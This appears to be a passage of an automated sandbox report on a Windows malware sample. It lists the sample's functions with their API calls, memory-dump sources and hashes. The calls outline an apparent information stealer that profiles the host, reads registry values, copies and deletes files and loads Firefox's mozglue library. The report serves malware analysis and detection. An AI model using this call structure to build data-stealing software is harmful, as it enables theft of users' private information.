Sleep.KERNEL32(00001770), ref: 004137C4
CloseHandle.KERNEL32(?,00000000,?,041F3440,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 004137DA
ExitProcess.KERNEL32 ref: 004137E2

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$Alloclstrcpy$CloseEventHandleNameUser__aulldiv$ComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 1175201934-0
Opcode ID: 730e3f6f912575f9d2f5eb501aecbfb4f2d6af79dc721135fd94b85e33000efd
Instruction ID: 0037ec1138340b95bb434dc328289296f16cab3c571637fdb93d627daa89b4d0
Opcode Fuzzy Hash: 730e3f6f912575f9d2f5eb501aecbfb4f2d6af79dc721135fd94b85e33000efd
Instruction Fuzzy Hash: 7E318270A00204AADB04FBF2DC56BEE7779AF08708F10451EF112A61D2DF789A85C7AD

Uniqueness

Uniqueness Score: -1.00%

Function 004123F0 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,041F6E40), ref: 0041244B

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 00412471
lstrcat.KERNEL32(?,?), ref: 00412490
lstrcat.KERNEL32(?,?), ref: 004124A4
lstrcat.KERNEL32(?,041D7688), ref: 004124B7
lstrcat.KERNEL32(?,?), ref: 004124CB
lstrcat.KERNEL32(?,041F73E0), ref: 004124DF

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00415490: GetFileAttributesA.KERNEL32(00000000,?,0040E9F4,?,00000000,?,00000000,0041D76E,0041D76B), ref: 0041549F

Part of subcall function 004121F0: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00412200
Part of subcall function 004121F0: HeapAlloc.KERNEL32(00000000), ref: 00412207
Part of subcall function 004121F0: wsprintfA.USER32 ref: 00412223
Part of subcall function 004121F0: FindFirstFileA.KERNEL32(?,?), ref: 0041223A

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 167551676-0
Opcode ID: 6103e27345c9a11c188d3e1fa81259371cccefca6cbec786149d127ceb43b465
Instruction ID: 26a05e4f659b4c4b868bb0234a0ad995871bbc4a3af1f84cd303f322fad0653f
Opcode Fuzzy Hash: 6103e27345c9a11c188d3e1fa81259371cccefca6cbec786149d127ceb43b465
Instruction Fuzzy Hash: 083164B6900608A7CB20FBB0DC95EE9773DAB48704F40458EB3469A051EA7897C8CFD8

Uniqueness

Uniqueness Score: -1.00%

Function 004011E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 004011FE
__aulldiv.LIBCMT ref: 00401218
__aulldiv.LIBCMT ref: 00401226
ExitProcess.KERNEL32 ref: 00401254

Strings

@, xrefs: 004011F3

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: bb81cb4acda70f26030c3c2501203c3bf716c46d07ed01ddf58a3b899f1b5564
Instruction ID: 7bcd30568b3a9749f5c78c38f6ef54fea4689c821e8202ed383253ad67bcf250
Opcode Fuzzy Hash: bb81cb4acda70f26030c3c2501203c3bf716c46d07ed01ddf58a3b899f1b5564
Instruction Fuzzy Hash: 8601FFB0940208EADB10EFD0CD4AB9EBBB8AB54705F204059E705B62D0D6785545875D

Uniqueness

Uniqueness Score: -1.00%

Function 00412980 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 004129BA
lstrcat.KERNEL32(?,0041D888), ref: 004129D7
lstrcat.KERNEL32(?,041F36C0), ref: 004129EB
lstrcat.KERNEL32(?,0041D88C), ref: 004129FD

Part of subcall function 00412570: wsprintfA.USER32 ref: 00412589
Part of subcall function 00412570: FindFirstFileA.KERNEL32(?,?), ref: 004125A0

Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
Part of subcall function 00412570: FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
Part of subcall function 00412570: FindClose.KERNEL32(000000FF), ref: 004127CE

Strings

L0A, xrefs: 00412A22, 00412A51, 00412A73, 00412A25, 00412A54

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID: L0A
API String ID: 2667927680-1482484291
Opcode ID: f3e6bd076d21e16df55fd7eb472b4ad65ac1318d51bf9674c6e2c7c7c76ac990
Instruction ID: f34e92357168eddbedcb052ffd5f2c6281475bb6170069d81cff4dd89e8051f4
Opcode Fuzzy Hash: f3e6bd076d21e16df55fd7eb472b4ad65ac1318d51bf9674c6e2c7c7c76ac990
Instruction Fuzzy Hash: A621CCBA9005087BC724FBA0DD46EDA373E9B54745F00058AB64956081EE7867C48BD5

Uniqueness

Uniqueness Score: -1.00%

Function 00401260 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 00401274
HeapAlloc.KERNEL32(00000000), ref: 0040127B
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00401297
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012B5
RegCloseKey.ADVAPI32(?), ref: 004012BF

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: df6da7dedf044903e367d3d8a7ae0c03a7d74832a2c3d67e0360b54011cb2cfc
Instruction ID: 7bc2c45b39987af01ac2684a9b0918313f40fb8da876f9e4b9d967da472c28c8
Opcode Fuzzy Hash: df6da7dedf044903e367d3d8a7ae0c03a7d74832a2c3d67e0360b54011cb2cfc
Instruction Fuzzy Hash: 3C011D79A40608BFDB20DFE0DD49FAEB779AB88700F008159FA05E7280DA749A018B90

Uniqueness

Uniqueness Score: -1.00%

Function 00414740 Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414754
HeapAlloc.KERNEL32(00000000), ref: 0041475B
RegOpenKeyExA.KERNEL32(80000002,041DBE08,00000000,00020119,00000000), ref: 0041477B
RegQueryValueExA.KERNEL32(00000000,041F77A0,00000000,00000000,000000FF,000000FF), ref: 0041479C
RegCloseKey.ADVAPI32(00000000), ref: 004147A6

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 3dd853a6faa74efcafe4ce3258c312c5c269cfcf31c2ef5712d88dc1f31cf0da
Instruction ID: 520453153fef2218f7e1f18e9bcc50e310f062f1fe861ea372c3465721436b4a
Opcode Fuzzy Hash: 3dd853a6faa74efcafe4ce3258c312c5c269cfcf31c2ef5712d88dc1f31cf0da
Instruction Fuzzy Hash: 62013C79A40608FFDB20DBE4ED49FAEB779EB88700F108159FA05A6290DB705A018F90

Uniqueness

Uniqueness Score: -1.00%

Function 00414300 Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414314
HeapAlloc.KERNEL32(00000000), ref: 0041431B
RegOpenKeyExA.KERNEL32(80000002,041DBCB8,00000000,00020119,00000000), ref: 0041433B
RegQueryValueExA.KERNEL32(00000000,041F6D20,00000000,00000000,000000FF,000000FF), ref: 0041435C
RegCloseKey.ADVAPI32(00000000), ref: 00414366

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 423f413abd2b9c08310d568d7ed0a8882adbdfbf2920ff6ae677e6fc83315809
Instruction ID: 8a55c6bb4586fa39bc5dd89715e436abefd5940c4b9bd8db073c1251d6bd8ac1
Opcode Fuzzy Hash: 423f413abd2b9c08310d568d7ed0a8882adbdfbf2920ff6ae677e6fc83315809
Instruction Fuzzy Hash: E3014FB5A40608BFDB20DBE4ED49FAEB77DEB88701F005154FA05E7290DB70AA01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00409970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(041F34B0,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,0040EA16), ref: 0040998D
LoadLibraryA.KERNEL32(041F7960,?,?,?,?,?,?,?,?,?,?,?,0040EA16), ref: 00409A16

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,041F3440,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

SetEnvironmentVariableA.KERNEL32(041F34B0,00000000,00000000,?,0041DA4C,?,0040EA16,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0041D6EF), ref: 00409A02

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00409982, 00409996, 004099AC

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 8ade76cb7972d7545d1cdae6b8c2efec5127d19485faea56a3866a558087ec3a
Instruction ID: 6647cd3c00128b620a4a232c7fbe97fce3d03bd073b05a107f0d1bf2b4fd60a8
Opcode Fuzzy Hash: 8ade76cb7972d7545d1cdae6b8c2efec5127d19485faea56a3866a558087ec3a
Instruction Fuzzy Hash: 134196B5900A009BDB24DFA4FD85AAE37B6BB44305F01512EF405A72E2DFB89D46CF54

Uniqueness

Uniqueness Score: -1.00%

Function 004065D0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,@:h@,@:h@), ref: 0040668F

Strings

:h@, xrefs: 004065DD, 004065FD, 0040667F
@:h@, xrefs: 00406670, 00406673
:h@, xrefs: 0040660D, 00406629, 00406678, 00406688, 004065F4, 00406618, 00406623

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: :h@$:h@$@:h@
API String ID: 544645111-3492212131
Opcode ID: 3a0ba57e5e1d9d33aaf5f8e161c54dbb9d0ff39d4d0ab0475c83cdde206519fc
Instruction ID: 05c83ec730d02739dc9afbe7597ff905435882b08ae1c12394b3aafa6fe5c026
Opcode Fuzzy Hash: 3a0ba57e5e1d9d33aaf5f8e161c54dbb9d0ff39d4d0ab0475c83cdde206519fc
Instruction Fuzzy Hash: 272131B4A00208EFDB04CF85C544BAEBBB1FF48304F1185AAD406AB381D3399A91DF85

Uniqueness

Uniqueness Score: -1.00%

Function 6BF93060 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6BF93095

Part of subcall function 6BF935A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C01F688,00001000), ref: 6BF935D5
Part of subcall function 6BF935A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6BF935E0
Part of subcall function 6BF935A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6BF935FD
Part of subcall function 6BF935A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6BF9363F
Part of subcall function 6BF935A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6BF9369F
Part of subcall function 6BF935A0: __aulldiv.LIBCMT ref: 6BF936E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF9309F

Part of subcall function 6BFB5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6BFB56EE,?,00000001), ref: 6BFB5B85
Part of subcall function 6BFB5B50: EnterCriticalSection.KERNEL32(6C01F688,?,?,?,6BFB56EE,?,00000001), ref: 6BFB5B90
Part of subcall function 6BFB5B50: LeaveCriticalSection.KERNEL32(6C01F688,?,?,?,6BFB56EE,?,00000001), ref: 6BFB5BD8
Part of subcall function 6BFB5B50: GetTickCount64.KERNEL32 ref: 6BFB5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6BF930BE

Part of subcall function 6BF930F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6BF93127
Part of subcall function 6BF930F0: __aulldiv.LIBCMT ref: 6BF93140

Part of subcall function 6BFCAB2A: __onexit.LIBCMT ref: 6BFCAB30

Strings

yUbg/, xrefs: 6BF9306A

Memory Dump Source

Source File: 00000001.00000002.2165694839.000000006BF91000.00000020.00000001.01000000.00000010.sdmp, Offset: 6BF90000, based on PE: true

Associated: 00000001.00000002.2165674576.000000006BF90000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2165760068.000000006C00D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2165783720.000000006C01E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2165806897.000000006C022000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6bf90000_u5e0.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID: yUbg/
API String ID: 4291168024-67982660
Opcode ID: add956c9f7c54e60781bd5914f752223f525a2699d2de1c7a4f1183c9338294b
Instruction ID: c2558db0ad2572d0d3dd5d5aa3a41c6732b18d024f7171d6de4fa4e70447af99
Opcode Fuzzy Hash: add956c9f7c54e60781bd5914f752223f525a2699d2de1c7a4f1183c9338294b
Instruction Fuzzy Hash: 38F0F923D2074A97DA10EFB498431A6F37CAF6B214F105319E84C53431FF2461D48382

Uniqueness

Uniqueness Score: -1.00%

Function 0040CEC0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,041F8238,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CF41
lstrlen.KERNEL32(00000000), ref: 0040D0DF
lstrlen.KERNEL32(00000000), ref: 0040D0F3
DeleteFileA.KERNEL32(00000000), ref: 0040D16C

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: cd629de8ee10eada1f72c85526e9c289853b14595428188ec74a26340a2c39ec
Instruction ID: 64a31cdf4344fffa4b83296b1621afa9cae3fe45de11617b70f8002e61f1a089
Opcode Fuzzy Hash: cd629de8ee10eada1f72c85526e9c289853b14595428188ec74a26340a2c39ec
Instruction Fuzzy Hash: 758147769102049BCB14FBA1DC52EEE7739BF54308F51411EF516B6091EF38AA89CBB8

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD10 Relevance: 6.1, APIs: 2, Strings: 1, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 004141C0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004141DF
Part of subcall function 004141C0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041421C
Part of subcall function 004141C0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004142A0
Part of subcall function 004141C0: HeapAlloc.KERNEL32(00000000), ref: 004142A7

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00414300: GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414314
Part of subcall function 00414300: HeapAlloc.KERNEL32(00000000), ref: 0041431B
Part of subcall function 00414300: RegOpenKeyExA.KERNEL32(80000002,041DBCB8,00000000,00020119,00000000), ref: 0041433B
Part of subcall function 00414300: RegQueryValueExA.KERNEL32(00000000,041F6D20,00000000,00000000,000000FF,000000FF), ref: 0041435C
Part of subcall function 00414300: RegCloseKey.ADVAPI32(00000000), ref: 00414366

Part of subcall function 00414380: GetCurrentProcess.KERNEL32(00000000,?,?,0040FF99,00000000,?,041F77E0,00000000,?,0041D74C,00000000,?,00000000,00000000,?,041F3710), ref: 0041438F
Part of subcall function 00414380: IsWow64Process.KERNEL32(00000000,?,?,0040FF99,00000000,?,041F77E0,00000000,?,0041D74C,00000000,?,00000000,00000000,?,041F3710), ref: 00414396

Part of subcall function 004143C0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,041F35B0,004136EB,0041D6E3), ref: 004143CD
Part of subcall function 004143C0: HeapAlloc.KERNEL32(00000000), ref: 004143D4
Part of subcall function 004143C0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

Part of subcall function 00414400: GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
Part of subcall function 00414400: HeapAlloc.KERNEL32(00000000), ref: 00414414
Part of subcall function 00414400: GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Part of subcall function 00414450: GetProcessHeap.KERNEL32(00000000,00000104,?,0041D748,00000000,?,00000000,0041D2B1), ref: 0041445D
Part of subcall function 00414450: HeapAlloc.KERNEL32(00000000), ref: 00414464
Part of subcall function 00414450: GetLocalTime.KERNEL32(?), ref: 00414471
Part of subcall function 00414450: wsprintfA.USER32 ref: 004144A0

Part of subcall function 004144B0: GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,?,041F6A50,00000000,?,0041D758,00000000,?,00000000,00000000,?,041F7920,00000000), ref: 004144C0
Part of subcall function 004144B0: HeapAlloc.KERNEL32(00000000), ref: 004144C7
Part of subcall function 004144B0: GetTimeZoneInformation.KERNEL32(?), ref: 004144DA

Part of subcall function 00414530: GetUserDefaultLocaleName.KERNEL32(00000000,00000055,00000000,00000000,?,041F6A50,00000000,?,0041D758,00000000,?,00000000,00000000,?,041F7920,00000000), ref: 00414542

Part of subcall function 00414570: GetKeyboardLayoutList.USER32(00000000,00000000,0041D146), ref: 0041459E
Part of subcall function 00414570: LocalAlloc.KERNEL32(00000040,?), ref: 004145B6
Part of subcall function 00414570: GetKeyboardLayoutList.USER32(?,00000000), ref: 004145CA
Part of subcall function 00414570: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0041461F
Part of subcall function 00414570: LocalFree.KERNEL32(00000000), ref: 004146DF

Part of subcall function 00414710: GetSystemPowerStatus.KERNEL32(00000000), ref: 0041471A

GetCurrentProcessId.KERNEL32(00000000,?,041F7840,00000000,?,0041D76C,00000000,?,00000000,00000000,?,041F6C30,00000000,?,0041D768,00000000), ref: 0041037E

Part of subcall function 00415B70: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00415B84
Part of subcall function 00415B70: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00415BA5
Part of subcall function 00415B70: CloseHandle.KERNEL32(00000000), ref: 00415BAF

Part of subcall function 00414740: GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414754
Part of subcall function 00414740: HeapAlloc.KERNEL32(00000000), ref: 0041475B
Part of subcall function 00414740: RegOpenKeyExA.KERNEL32(80000002,041DBE08,00000000,00020119,00000000), ref: 0041477B
Part of subcall function 00414740: RegQueryValueExA.KERNEL32(00000000,041F77A0,00000000,00000000,000000FF,000000FF), ref: 0041479C
Part of subcall function 00414740: RegCloseKey.ADVAPI32(00000000), ref: 004147A6

Part of subcall function 00414800: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00414846
Part of subcall function 00414800: GetLastError.KERNEL32 ref: 00414855

Part of subcall function 004147C0: GetSystemInfo.KERNEL32(00000000), ref: 004147CD
Part of subcall function 004147C0: wsprintfA.USER32 ref: 004147E3

Part of subcall function 00414960: GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,041F6A68,00000000,?,0041D774,00000000,?,00000000,00000000,?,041F6C78), ref: 0041496D
